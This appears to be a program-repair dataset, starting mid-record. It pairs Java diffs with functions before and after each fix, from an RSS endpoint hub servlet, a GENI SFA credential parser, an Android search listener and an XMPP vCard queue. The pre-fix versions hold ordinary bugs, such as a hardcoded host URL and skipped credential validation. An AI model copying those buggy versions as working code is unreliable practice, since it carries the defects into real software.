registrations.getAllEndpoints()) { resp.getWriter().append(endpoint.toString()+"<br><br>"); } responseCode = HttpStatus.SC_ACCEPTED; break; // hub.mode not found default: responseCode = HttpStatus.SC_BAD_REQUEST; break; } resp.setStatus(responseCode); } @SuppressWarnings("unchecked") private EndpointDescription getEndpointDescriptionFromJSON( Map<String, Object> map) { if (map.get(Constants.OBJECTCLASS) instanceof ArrayList<?>) { map.put(Constants.OBJECTCLASS, ((ArrayList<String>) map .get(Constants.OBJECTCLASS)).toArray(new String[0])); } if (map.get(RemoteConstants.ENDPOINT_SERVICE_ID) instanceof Integer) { Integer id = (Integer) map .get((RemoteConstants.ENDPOINT_SERVICE_ID)); map.put(RemoteConstants.ENDPOINT_SERVICE_ID, id.longValue()); } return new EndpointDescription(map); } public JSONService json() { return json; } public Registrations registrations() { return registrations; } private class FeedReaderTracker implements ServiceTrackerCustomizer { private String rss_url; public FeedReaderTracker(String rss_url) throws InvalidSyntaxException { this.rss_url = "http://Bartek-PC:8080//roserss"; String readerFilter = ("(&(" + Constants.OBJECTCLASS + "=" + READER_SERVICE_CLASS + ")(" + READER_FILTER_PROPERTY + "=" + this.rss_url + "))"); feedReaderTracker = new ServiceTracker(context, createFilter(readerFilter), this); feedReaderTracker.open(); } public Object addingService(ServiceReference reference) { FeedReader reader = (FeedReader) context.getService(reference); readers.put(this.rss_url, reader); return reader; } public void modifiedService(ServiceReference reference, Object service) { } public void removedService(ServiceReference reference, Object service) { readers.remove(this.rss_url); } } private class FactoryTracker implements ServiceTrackerCustomizer { private String rss_url; public FactoryTracker(String rss_url) throws InvalidSyntaxException { this.rss_url = "http://Bartek-PC:8080//roserss"; instanceDictionary = new Hashtable<String, Object>(); instanceDictionary.put("feed.url", this.rss_url); instanceDictionary.put("feed.period", 1); factoryTracker = new ServiceTracker(context, createFilter(FEED_READER_FACTORY_FILTER), this); factoryTracker.open(); } public Object addingService(ServiceReference reference) { Factory factory = (Factory) context.getService(reference); try { if (!(readers.containsKey(this.rss_url))) { return factory.createComponentInstance(instanceDictionary); } } catch (UnacceptableConfiguration e) { e.printStackTrace(); } catch (MissingHandlerException e) { e.printStackTrace(); } catch (ConfigurationException e) { e.printStackTrace(); } return readers.get(rss_url); } public void modifiedService(ServiceReference reference, Object service) { } public void removedService(ServiceReference reference, Object service) { readers.remove(this.rss_url); } } }
true
true
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String rssUrl; String endpointFilter; String callBackUrl; // check the content type, must be application/x-www-form-urlencoded if ((!(req.getHeader("Content-Type") .equals("application/x-www-form-urlencoded"))) || (req.getParameter("hub.mode") == null)) { resp.setStatus(HttpStatus.SC_BAD_REQUEST); return; } rssUrl = req.getParameter("hub.topic"); endpointFilter = req.getParameter("hub.endp.filter"); callBackUrl = req.getParameter("hub.callback"); // check the hub mode switch (HubMode.valueOf(req.getParameter("hub.mode"))) { case publish: if ((rssUrl != null) && (createReader(rssUrl))) { // register a topic registrations.addTopic(rssUrl); responseCode = HttpStatus.SC_CREATED; } else { responseCode = HttpStatus.SC_BAD_REQUEST; } break; case unpublish: if (rssUrl != null) { // remove a topic sendSubscription = new SendSubscription(rssUrl, ENDPOINT_REMOVE, this,TOPIC_DELETE); sendSubscription.start(); responseCode = HttpStatus.SC_ACCEPTED; } else { responseCode = HttpStatus.SC_BAD_REQUEST; } break; case update: if (rssUrl == null) { responseCode = HttpStatus.SC_BAD_REQUEST; break; } FeedEntry feed = readers.get("http://Bartek-PC:8080//roserss").getLastEntry(); try { @SuppressWarnings("unchecked") EndpointDescription edp = getEndpointDescriptionFromJSON(json .fromJSON(feed.content())); if (feed.title().equals("Endpoint added")) { registrations.addEndpoint(rssUrl, edp); sendSubscription = new SendSubscription(edp, ENDPOINT_ADD, this); sendSubscription.start(); } else if (feed.title().equals("Endpoint removed")) { registrations.removeEndpoint(rssUrl, edp); sendSubscription = new SendSubscription(edp, ENDPOINT_REMOVE, this); sendSubscription.start(); } responseCode = HttpStatus.SC_ACCEPTED; } catch (ParseException e) { responseCode = HttpStatus.SC_BAD_REQUEST; e.printStackTrace(); } break; case subscribe: if ((endpointFilter == null) || (callBackUrl == null)) { responseCode = HttpStatus.SC_BAD_REQUEST; } else { registrations.addSubscrition(callBackUrl, endpointFilter); responseCode = HttpStatus.SC_ACCEPTED; // check if already register an endpoint which match the filter sendSubscription = new SendSubscription(callBackUrl, ENDPOINT_ADD, this); sendSubscription.start(); } break; case unsubscribe: if (callBackUrl == null) { responseCode = HttpStatus.SC_BAD_REQUEST; break; } registrations.removeSubscribtion(callBackUrl); responseCode = HttpStatus.SC_ACCEPTED; break; case getAllEndpoints: resp.setContentType("text/html"); for (EndpointDescription endpoint : registrations.getAllEndpoints()) { resp.getWriter().append(endpoint.toString()+"<br><br>"); } responseCode = HttpStatus.SC_ACCEPTED; break; // hub.mode not found default: responseCode = HttpStatus.SC_BAD_REQUEST; break; } resp.setStatus(responseCode); }
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String rssUrl; String endpointFilter; String callBackUrl; // check the content type, must be application/x-www-form-urlencoded if ((!(req.getHeader("Content-Type") .equals("application/x-www-form-urlencoded"))) || (req.getParameter("hub.mode") == null)) { resp.setStatus(HttpStatus.SC_BAD_REQUEST); return; } rssUrl = req.getParameter("hub.topic"); endpointFilter = req.getParameter("hub.endp.filter"); callBackUrl = req.getParameter("hub.callback"); // check the hub mode switch (HubMode.valueOf(req.getParameter("hub.mode"))) { case publish: if ((rssUrl != null) && (createReader(rssUrl))) { // register a topic registrations.addTopic(rssUrl); responseCode = HttpStatus.SC_CREATED; } else { responseCode = HttpStatus.SC_BAD_REQUEST; } break; case unpublish: if (rssUrl != null) { // remove a topic sendSubscription = new SendSubscription(rssUrl, ENDPOINT_REMOVE, this,TOPIC_DELETE); sendSubscription.start(); responseCode = HttpStatus.SC_ACCEPTED; } else { responseCode = HttpStatus.SC_BAD_REQUEST; } break; case update: if (rssUrl == null) { responseCode = HttpStatus.SC_BAD_REQUEST; break; } FeedEntry feed = readers.get(rssUrl).getLastEntry(); try { @SuppressWarnings("unchecked") EndpointDescription edp = getEndpointDescriptionFromJSON(json .fromJSON(feed.content())); if (feed.title().equals("Endpoint added")) { registrations.addEndpoint(rssUrl, edp); sendSubscription = new SendSubscription(edp, ENDPOINT_ADD, this); sendSubscription.start(); } else if (feed.title().equals("Endpoint removed")) { registrations.removeEndpoint(rssUrl, edp); sendSubscription = new SendSubscription(edp, ENDPOINT_REMOVE, this); sendSubscription.start(); } responseCode = HttpStatus.SC_ACCEPTED; } catch (ParseException e) { responseCode = HttpStatus.SC_BAD_REQUEST; e.printStackTrace(); } break; case subscribe: if ((endpointFilter == null) || (callBackUrl == null)) { responseCode = HttpStatus.SC_BAD_REQUEST; } else { registrations.addSubscrition(callBackUrl, endpointFilter); responseCode = HttpStatus.SC_ACCEPTED; // check if already register an endpoint which match the filter sendSubscription = new SendSubscription(callBackUrl, ENDPOINT_ADD, this); sendSubscription.start(); } break; case unsubscribe: if (callBackUrl == null) { responseCode = HttpStatus.SC_BAD_REQUEST; break; } registrations.removeSubscribtion(callBackUrl); responseCode = HttpStatus.SC_ACCEPTED; break; case getAllEndpoints: resp.setContentType("text/html"); for (EndpointDescription endpoint : registrations.getAllEndpoints()) { resp.getWriter().append(endpoint.toString()+"<br><br>"); } responseCode = HttpStatus.SC_ACCEPTED; break; // hub.mode not found default: responseCode = HttpStatus.SC_BAD_REQUEST; break; } resp.setStatus(responseCode); }
diff --git a/delivery/xmlrpc/src/main/java/org/fiteagle/delivery/xmlrpc/util/SFAHandler.java b/delivery/xmlrpc/src/main/java/org/fiteagle/delivery/xmlrpc/util/SFAHandler.java index 98b9f348..ad42f59a 100644 --- a/delivery/xmlrpc/src/main/java/org/fiteagle/delivery/xmlrpc/util/SFAHandler.java +++ b/delivery/xmlrpc/src/main/java/org/fiteagle/delivery/xmlrpc/util/SFAHandler.java @@ -1,265 +1,265 @@ package org.fiteagle.delivery.xmlrpc.util; import java.io.IOException; import java.io.StringWriter; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.fiteagle.interactors.sfa.ISFA; import org.fiteagle.interactors.sfa.SFAInteractor_v3; import org.fiteagle.interactors.sfa.common.AMCode; import org.fiteagle.interactors.sfa.common.AMResult; import org.fiteagle.interactors.sfa.common.Credentials; import org.fiteagle.interactors.sfa.common.GENI_CodeEnum; import org.fiteagle.interactors.sfa.common.GeniAvailableOption; import org.fiteagle.interactors.sfa.common.Geni_RSpec_Version; import org.fiteagle.interactors.sfa.common.ListCredentials; import org.fiteagle.interactors.sfa.listresources.GeniCompressedOption; import org.fiteagle.interactors.sfa.listresources.ListResourceOptions; import org.slf4j.Logger; import redstone.xmlrpc.XmlRpcArray; import redstone.xmlrpc.XmlRpcInvocationHandler; import redstone.xmlrpc.XmlRpcStruct; import com.fasterxml.jackson.annotation.JsonInclude.Include; import com.fasterxml.jackson.databind.ObjectMapper; public class SFAHandler implements XmlRpcInvocationHandler { ISFA interactor; private final Logger log = org.slf4j.LoggerFactory.getLogger(this.getClass()); public SFAHandler(SFAInteractor_v3 sfaInteractor_v3) { this.interactor = sfaInteractor_v3; } @SuppressWarnings("rawtypes") @Override public Object invoke(String methodName, List parameters) throws Throwable { Map<String, Object> response = null; try { Method knownMethod = getMethod(methodName); AMResult result = getMethodCallResult(knownMethod, parameters); response = createResponse(result); } catch (ParsingException e) { response = createErrorResponse(e); } return response; } private Map<String, Object> createErrorResponse(ParsingException e) throws IOException { AMResult errorResult = getErrorResult(e); Map<String, Object> errorResponse = introspect(errorResult); return errorResponse; } private AMResult getErrorResult(ParsingException e) { AMResult result = new AMResult(); result.setOutput(e.getMessage()); AMCode errorCode = getErrorCode(e); result.setCode(errorCode); return result; } private AMCode getErrorCode(ParsingException e) { AMCode code = new AMCode(); code.setGeni_code(e.getErrorCode()); return code; } private Map<String, Object> createResponse(AMResult result) { Map<String, Object> response = new HashMap<>(); try { response = introspect(result); } catch (IOException ioException) { log.error(ioException.getMessage(),ioException); } return response; } private AMResult getMethodCallResult(Method knownMethod, List parameters) throws IllegalAccessException, InvocationTargetException, InstantiationException { AMResult result = null; Class<?>[] parameterClasses = knownMethod.getParameterTypes(); if (parameterClasses.length == 0) { result = (AMResult) knownMethod.invoke(interactor, (Object[]) null); } else { List<Object> methodParameters = createEmptyMethodParameters(parameterClasses); for (int i = 0; i < parameterClasses.length; i++) { xmlStructToObject(parameters.get(i), methodParameters.get(i)); } result = (AMResult) knownMethod.invoke(interactor, methodParameters.toArray()); } return result; } private Method getMethod(String methodName) { Method knownMethod = null; Method[] methodsFromHandler = interactor.getClass().getMethods(); for (int i = 0; i < methodsFromHandler.length; i++) { if (methodsFromHandler[i].getName().equals(methodName)) { // Critical assumption !!! Only one method which equals the // methodname exists! // failure prone knownMethod = methodsFromHandler[i]; } } if (knownMethod == null){ ParsingException e = new MethodNotFound(methodName); throw e; } return knownMethod; } private void xmlStructToObject(Object from, Object to) { if (to.getClass().isAssignableFrom(ListResourceOptions.class)) { XmlRpcStruct listResourceOptionsStruct = (XmlRpcStruct) from; ListResourceOptions listResourceOptions = (ListResourceOptions) to; listResourceOptions.setGeni_available(new GeniAvailableOption( listResourceOptionsStruct.getBoolean("geni_available"))); listResourceOptions.setGeni_compressed(new GeniCompressedOption( listResourceOptionsStruct.getBoolean("geni_compressed"))); XmlRpcStruct geni_rspec_version_struct = listResourceOptionsStruct .getStruct("geni_rspec_version"); if (geni_rspec_version_struct != null) { String type = geni_rspec_version_struct.getString("type"); String version = geni_rspec_version_struct.getString("version"); Geni_RSpec_Version geni_RSpec_Version = new Geni_RSpec_Version(); geni_RSpec_Version.setType(type); geni_RSpec_Version.setVersion(version); listResourceOptions.setGeni_rspec_version(geni_RSpec_Version); } else { // TODO error handling throw exception => set corresponding // error code of response } } if (to.getClass().isAssignableFrom(ListCredentials.class)) { try { XmlRpcArray listCredentialsArray = (XmlRpcArray) from; ListCredentials listCredentials = (ListCredentials) to; if (listCredentialsArray.size() > 0) { for (int i = 0; i < listCredentialsArray.size(); i++) { XmlRpcStruct credentialsStruct = (XmlRpcStruct) listCredentialsArray .get(i); Credentials credentials = new Credentials(); if (credentialsStruct.getString("geni_type") != null) { credentials.setGeni_type(credentialsStruct .getString("geni_type")); } else { - // TODO error handling + throw new CredentialsNotValid(); } if (credentialsStruct.getString("geni_version") != null) { credentials.setGeni_version(credentialsStruct .getString("geni_version")); } else { - // TODO error handling + throw new CredentialsNotValid(); } if (credentialsStruct.getString("geni_value") != null) { credentials.setGeni_value(credentialsStruct .getString("geni_value")); } else { - // TODO error handling + throw new CredentialsNotValid(); } listCredentials.addCredentials(credentials); } } } catch (ClassCastException e) { throw new CredentialsNotValid(); } } } private List<Object> createEmptyMethodParameters(Class<?>[] parameterClasses) throws InstantiationException, IllegalAccessException { List<Object> returnList = new ArrayList<>(); for (int i = 0; i < parameterClasses.length; i++) { Object o = parameterClasses[i].newInstance(); returnList.add(o); } return returnList; } @SuppressWarnings("unchecked") private Map<String, Object> introspect(Object result) throws IOException { final ObjectMapper mapper = new ObjectMapper(); mapper.setSerializationInclusion(Include.NON_NULL); final StringWriter writer = new StringWriter(); mapper.writeValue(writer, result); final Map<String, Object> response = mapper.readValue( writer.toString(), Map.class); return response; } private class ParsingException extends RuntimeException { private GENI_CodeEnum errorCode = GENI_CodeEnum.ERROR; private String errorMessage = "Error"; private static final long serialVersionUID = 1L; public void setErrorCode(GENI_CodeEnum errorCode) { this.errorCode = errorCode; } public GENI_CodeEnum getErrorCode() { return errorCode; } public String getMessage(){ return this.errorMessage; } public void setMessage(String message){ this.errorMessage = message; } } private class CredentialsNotValid extends ParsingException { private static final long serialVersionUID = 1L; public CredentialsNotValid() { setErrorCode(GENI_CodeEnum.BADARGS); setMessage("Credentials not Valid"); } } private class MethodNotFound extends ParsingException { private static final long serialVersionUID = 2409993059634896770L; public MethodNotFound(String methodName) { setErrorCode(GENI_CodeEnum.RPCERROR); setMessage("Method "+methodName +" not found"); } } }
false
true
private void xmlStructToObject(Object from, Object to) { if (to.getClass().isAssignableFrom(ListResourceOptions.class)) { XmlRpcStruct listResourceOptionsStruct = (XmlRpcStruct) from; ListResourceOptions listResourceOptions = (ListResourceOptions) to; listResourceOptions.setGeni_available(new GeniAvailableOption( listResourceOptionsStruct.getBoolean("geni_available"))); listResourceOptions.setGeni_compressed(new GeniCompressedOption( listResourceOptionsStruct.getBoolean("geni_compressed"))); XmlRpcStruct geni_rspec_version_struct = listResourceOptionsStruct .getStruct("geni_rspec_version"); if (geni_rspec_version_struct != null) { String type = geni_rspec_version_struct.getString("type"); String version = geni_rspec_version_struct.getString("version"); Geni_RSpec_Version geni_RSpec_Version = new Geni_RSpec_Version(); geni_RSpec_Version.setType(type); geni_RSpec_Version.setVersion(version); listResourceOptions.setGeni_rspec_version(geni_RSpec_Version); } else { // TODO error handling throw exception => set corresponding // error code of response } } if (to.getClass().isAssignableFrom(ListCredentials.class)) { try { XmlRpcArray listCredentialsArray = (XmlRpcArray) from; ListCredentials listCredentials = (ListCredentials) to; if (listCredentialsArray.size() > 0) { for (int i = 0; i < listCredentialsArray.size(); i++) { XmlRpcStruct credentialsStruct = (XmlRpcStruct) listCredentialsArray .get(i); Credentials credentials = new Credentials(); if (credentialsStruct.getString("geni_type") != null) { credentials.setGeni_type(credentialsStruct .getString("geni_type")); } else { // TODO error handling } if (credentialsStruct.getString("geni_version") != null) { credentials.setGeni_version(credentialsStruct .getString("geni_version")); } else { // TODO error handling } if (credentialsStruct.getString("geni_value") != null) { credentials.setGeni_value(credentialsStruct .getString("geni_value")); } else { // TODO error handling } listCredentials.addCredentials(credentials); } } } catch (ClassCastException e) { throw new CredentialsNotValid(); } } }
private void xmlStructToObject(Object from, Object to) { if (to.getClass().isAssignableFrom(ListResourceOptions.class)) { XmlRpcStruct listResourceOptionsStruct = (XmlRpcStruct) from; ListResourceOptions listResourceOptions = (ListResourceOptions) to; listResourceOptions.setGeni_available(new GeniAvailableOption( listResourceOptionsStruct.getBoolean("geni_available"))); listResourceOptions.setGeni_compressed(new GeniCompressedOption( listResourceOptionsStruct.getBoolean("geni_compressed"))); XmlRpcStruct geni_rspec_version_struct = listResourceOptionsStruct .getStruct("geni_rspec_version"); if (geni_rspec_version_struct != null) { String type = geni_rspec_version_struct.getString("type"); String version = geni_rspec_version_struct.getString("version"); Geni_RSpec_Version geni_RSpec_Version = new Geni_RSpec_Version(); geni_RSpec_Version.setType(type); geni_RSpec_Version.setVersion(version); listResourceOptions.setGeni_rspec_version(geni_RSpec_Version); } else { // TODO error handling throw exception => set corresponding // error code of response } } if (to.getClass().isAssignableFrom(ListCredentials.class)) { try { XmlRpcArray listCredentialsArray = (XmlRpcArray) from; ListCredentials listCredentials = (ListCredentials) to; if (listCredentialsArray.size() > 0) { for (int i = 0; i < listCredentialsArray.size(); i++) { XmlRpcStruct credentialsStruct = (XmlRpcStruct) listCredentialsArray .get(i); Credentials credentials = new Credentials(); if (credentialsStruct.getString("geni_type") != null) { credentials.setGeni_type(credentialsStruct .getString("geni_type")); } else { throw new CredentialsNotValid(); } if (credentialsStruct.getString("geni_version") != null) { credentials.setGeni_version(credentialsStruct .getString("geni_version")); } else { throw new CredentialsNotValid(); } if (credentialsStruct.getString("geni_value") != null) { credentials.setGeni_value(credentialsStruct .getString("geni_value")); } else { throw new CredentialsNotValid(); } listCredentials.addCredentials(credentials); } } } catch (ClassCastException e) { throw new CredentialsNotValid(); } } }
diff --git a/agit-test-utils/src/main/java/com/madgag/agit/matchers/GitTestHelper.java b/agit-test-utils/src/main/java/com/madgag/agit/matchers/GitTestHelper.java index 282cbcc..73650de 100644 --- a/agit-test-utils/src/main/java/com/madgag/agit/matchers/GitTestHelper.java +++ b/agit-test-utils/src/main/java/com/madgag/agit/matchers/GitTestHelper.java @@ -1,67 +1,67 @@ /* * Copyright (c) 2011, 2012 Roberto Tyley * * This file is part of 'Agit' - an Android Git client. * * Agit is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Agit is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see http://www.gnu.org/licenses/ . */ package com.madgag.agit.matchers; import static com.madgag.agit.GitTestUtils.repoFor; import static com.madgag.compress.CompressUtil.unzip; import static java.lang.System.currentTimeMillis; import static org.hamcrest.CoreMatchers.notNullValue; import static org.hamcrest.MatcherAssert.assertThat; import com.madgag.agit.TestEnvironment; import java.io.File; import java.io.IOException; import java.io.InputStream; import org.apache.commons.compress.archivers.ArchiveException; import org.eclipse.jgit.lib.Repository; public class GitTestHelper { private final TestEnvironment environment; private static long uniqueIndex = currentTimeMillis(); public GitTestHelper(TestEnvironment environment) { this.environment = environment; } public Repository unpackRepo(String fileName) throws IOException, ArchiveException { return repoFor(unpackRepoAndGetGitDir(fileName)); } public File unpackRepoAndGetGitDir(String fileName) throws IOException, ArchiveException { InputStream rawZipFileInputStream = environment.streamFor(fileName); - assertThat(rawZipFileInputStream, notNullValue()); + assertThat("Stream for "+fileName, rawZipFileInputStream, notNullValue()); File repoParentFolder = newFolder("unpacked-" + fileName); unzip(rawZipFileInputStream, repoParentFolder); rawZipFileInputStream.close(); return repoParentFolder; } public File newFolder() { return newFolder("tmp"); } public File newFolder(String prefix) { return new File(environment.tempFolder(), prefix + "-" + (++uniqueIndex)); } }
true
true
public File unpackRepoAndGetGitDir(String fileName) throws IOException, ArchiveException { InputStream rawZipFileInputStream = environment.streamFor(fileName); assertThat(rawZipFileInputStream, notNullValue()); File repoParentFolder = newFolder("unpacked-" + fileName); unzip(rawZipFileInputStream, repoParentFolder); rawZipFileInputStream.close(); return repoParentFolder; }
public File unpackRepoAndGetGitDir(String fileName) throws IOException, ArchiveException { InputStream rawZipFileInputStream = environment.streamFor(fileName); assertThat("Stream for "+fileName, rawZipFileInputStream, notNullValue()); File repoParentFolder = newFolder("unpacked-" + fileName); unzip(rawZipFileInputStream, repoParentFolder); rawZipFileInputStream.close(); return repoParentFolder; }
diff --git a/src/main/java/com/tadamski/arij/issue/list/drawer/IssueListDrawerFragment.java b/src/main/java/com/tadamski/arij/issue/list/drawer/IssueListDrawerFragment.java index ca5a84a..ea510ba 100644 --- a/src/main/java/com/tadamski/arij/issue/list/drawer/IssueListDrawerFragment.java +++ b/src/main/java/com/tadamski/arij/issue/list/drawer/IssueListDrawerFragment.java @@ -1,158 +1,158 @@ package com.tadamski.arij.issue.list.drawer; import android.app.Activity; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.KeyEvent; import android.view.View; import android.view.inputmethod.EditorInfo; import android.view.inputmethod.InputMethodManager; import android.widget.AbsListView; import android.widget.AdapterView; import android.widget.EditText; import android.widget.ImageButton; import android.widget.ListView; import android.widget.TextView; import com.googlecode.androidannotations.annotations.AfterViews; import com.googlecode.androidannotations.annotations.Bean; import com.googlecode.androidannotations.annotations.Click; import com.googlecode.androidannotations.annotations.EFragment; import com.googlecode.androidannotations.annotations.SystemService; import com.googlecode.androidannotations.annotations.TextChange; import com.googlecode.androidannotations.annotations.ViewById; import com.tadamski.arij.R; import com.tadamski.arij.issue.list.filters.DefaultFilters; import com.tadamski.arij.issue.list.filters.Filter; import com.tadamski.arij.issue.list.filters.FiltersListAdapter; import com.tadamski.arij.util.analytics.Tracker; import java.util.List; /** * Created by tmszdmsk on 30.07.13. */ @EFragment(R.layout.issue_list_drawer_fragment) public class IssueListDrawerFragment extends Fragment { @Bean DefaultFilters defaultFilters; @SystemService InputMethodManager inputMethodManager; @ViewById(R.id.search_edit_text) EditText queryEditText; @ViewById(R.id.search_edit_text_clear_button) ImageButton queryClearButton; @ViewById(R.id.filters_list) ListView filterList; private Listener listener; public void selectFilter(Filter filter) { queryEditText.setText(""); } public void selectQuery(String query) { queryEditText.setText(query); } public Filter getDefaultFilter() { return defaultFilters.getFilterList().get(0); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setRetainInstance(true); } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (activity instanceof Listener) { this.listener = (Listener) activity; } else { throw new IllegalArgumentException("have to implement Listener interface"); } } @Override public void onDetach() { super.onDetach(); this.listener = null; } @AfterViews void initFilterList() { List<Filter> filters = defaultFilters.getFilterList(); FiltersListAdapter filtersListAdapter = new FiltersListAdapter(getActivity(), filters); filterList.setAdapter(filtersListAdapter); filterList.setChoiceMode(AbsListView.CHOICE_MODE_SINGLE); filterList.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) { Filter filter = (Filter) adapterView.getItemAtPosition(i); Tracker.sendEvent("Filters", "filterSelected", filter.name, null); queryEditText.setText(""); listener.onFilterSelected(filter); } }); } @AfterViews void initQuickSearch() { queryEditText.setOnEditorActionListener(new TextView.OnEditorActionListener() { @Override public boolean onEditorAction(TextView v, int actionId, KeyEvent event) { if (actionId == EditorInfo.IME_ACTION_SEARCH) { quickSearch(); return true; } return false; } }); queryEditText.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if (!hasFocus) inputMethodManager.hideSoftInputFromWindow(v.getWindowToken(), 0); } }); queryEditText.setOnKeyListener(new View.OnKeyListener() { @Override public boolean onKey(View v, int keyCode, KeyEvent event) { - if (keyCode == KeyEvent.KEYCODE_ENTER) { + if (keyCode == KeyEvent.KEYCODE_ENTER && event.getAction() == KeyEvent.ACTION_UP) { quickSearch(); return true; } return false; } }); showOrHideClearButton(); } private void quickSearch() { listener.onQuickSearch(queryEditText.getText().toString()); queryEditText.clearFocus(); Tracker.sendEvent("QuickSearch", "search", null, queryEditText.getText().length() + 0L); } @TextChange(R.id.search_edit_text) void showOrHideClearButton() { if (queryEditText.getText().length() > 0) queryClearButton.setVisibility(View.VISIBLE); else queryClearButton.setVisibility(View.GONE); } @Click(R.id.search_edit_text_clear_button) void clearSearchBox() { queryEditText.setText(""); } public interface Listener { void onQuickSearch(String query); void onFilterSelected(Filter filter); } }
true
true
void initQuickSearch() { queryEditText.setOnEditorActionListener(new TextView.OnEditorActionListener() { @Override public boolean onEditorAction(TextView v, int actionId, KeyEvent event) { if (actionId == EditorInfo.IME_ACTION_SEARCH) { quickSearch(); return true; } return false; } }); queryEditText.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if (!hasFocus) inputMethodManager.hideSoftInputFromWindow(v.getWindowToken(), 0); } }); queryEditText.setOnKeyListener(new View.OnKeyListener() { @Override public boolean onKey(View v, int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE_ENTER) { quickSearch(); return true; } return false; } }); showOrHideClearButton(); }
void initQuickSearch() { queryEditText.setOnEditorActionListener(new TextView.OnEditorActionListener() { @Override public boolean onEditorAction(TextView v, int actionId, KeyEvent event) { if (actionId == EditorInfo.IME_ACTION_SEARCH) { quickSearch(); return true; } return false; } }); queryEditText.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if (!hasFocus) inputMethodManager.hideSoftInputFromWindow(v.getWindowToken(), 0); } }); queryEditText.setOnKeyListener(new View.OnKeyListener() { @Override public boolean onKey(View v, int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE_ENTER && event.getAction() == KeyEvent.ACTION_UP) { quickSearch(); return true; } return false; } }); showOrHideClearButton(); }
diff --git a/src/org/bombusim/lime/data/VcardResolver.java b/src/org/bombusim/lime/data/VcardResolver.java index 9a1ff51..319390f 100644 --- a/src/org/bombusim/lime/data/VcardResolver.java +++ b/src/org/bombusim/lime/data/VcardResolver.java @@ -1,109 +1,111 @@ package org.bombusim.lime.data; import java.util.ArrayList; import java.util.Timer; import java.util.TimerTask; import org.bombusim.lime.Lime; import org.bombusim.lime.logger.LimeLog; import org.bombusim.xmpp.XmppStream; import org.bombusim.xmpp.handlers.IqVcard; public class VcardResolver { private final static int VCARD_TIMEOUT_S = 30; private final static int VCARD_TIMER_S = 3; private ArrayList<Contact> queue; private Contact pending; private long timeout; public VcardResolver() { resetQueue(); } public void resetQueue() { queue = new ArrayList<Contact>(); pending = null; } public void restartQueue() { pending = null; } public void vcardNotify(Contact c) { queue.remove(c); if (pending == c) pending = null; queryTop(); } public void queryVcard(Contact c) { //move request to top queue.remove(c); queue.add(c); LimeLog.i("VcardResolver", "Queued "+c.getJid(), null); queryTop(); } //TODO: parallel vcard fetching for different domains public synchronized void queryTop() { long current = System.currentTimeMillis(); if (pending != null) { if (current < timeout) { setQueryTimer(); //next polling event return; } queue.remove(pending); + //pending.setAvatar(null, null); } try { Lime.getInstance().serviceBinding.getXmppStream(pending.getRosterJid()).cancelBlockListenerByClass(IqVcard.class); } catch (Exception e) {} timeout = current + VCARD_TIMEOUT_S * 1000; - int index = queue.size()-1; - if (index < 0) return; + if (queue.isEmpty()) return; - pending = queue.get(index); + pending = queue.get(queue.size()-1); try { XmppStream s = Lime.getInstance().serviceBinding.getXmppStream(pending.getRosterJid()); if (s==null) { pending = null; return; } LimeLog.i("VcardResolver", "Query "+pending.getJid(), null); new IqVcard().vcardRequest( pending.getJid(), s ); setQueryTimer(); - } catch (Exception e) {} + } catch (Exception e) { + pending = null; + } } Timer timer; private void setQueryTimer() { if (timer != null) timer.cancel(); timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { queryTop(); } }, VCARD_TIMER_S * 1000); } }
false
true
public synchronized void queryTop() { long current = System.currentTimeMillis(); if (pending != null) { if (current < timeout) { setQueryTimer(); //next polling event return; } queue.remove(pending); } try { Lime.getInstance().serviceBinding.getXmppStream(pending.getRosterJid()).cancelBlockListenerByClass(IqVcard.class); } catch (Exception e) {} timeout = current + VCARD_TIMEOUT_S * 1000; int index = queue.size()-1; if (index < 0) return; pending = queue.get(index); try { XmppStream s = Lime.getInstance().serviceBinding.getXmppStream(pending.getRosterJid()); if (s==null) { pending = null; return; } LimeLog.i("VcardResolver", "Query "+pending.getJid(), null); new IqVcard().vcardRequest( pending.getJid(), s ); setQueryTimer(); } catch (Exception e) {} }
public synchronized void queryTop() { long current = System.currentTimeMillis(); if (pending != null) { if (current < timeout) { setQueryTimer(); //next polling event return; } queue.remove(pending); //pending.setAvatar(null, null); } try { Lime.getInstance().serviceBinding.getXmppStream(pending.getRosterJid()).cancelBlockListenerByClass(IqVcard.class); } catch (Exception e) {} timeout = current + VCARD_TIMEOUT_S * 1000; if (queue.isEmpty()) return; pending = queue.get(queue.size()-1); try { XmppStream s = Lime.getInstance().serviceBinding.getXmppStream(pending.getRosterJid()); if (s==null) { pending = null; return; } LimeLog.i("VcardResolver", "Query "+pending.getJid(), null); new IqVcard().vcardRequest( pending.getJid(), s ); setQueryTimer(); } catch (Exception e) { pending = null; } }
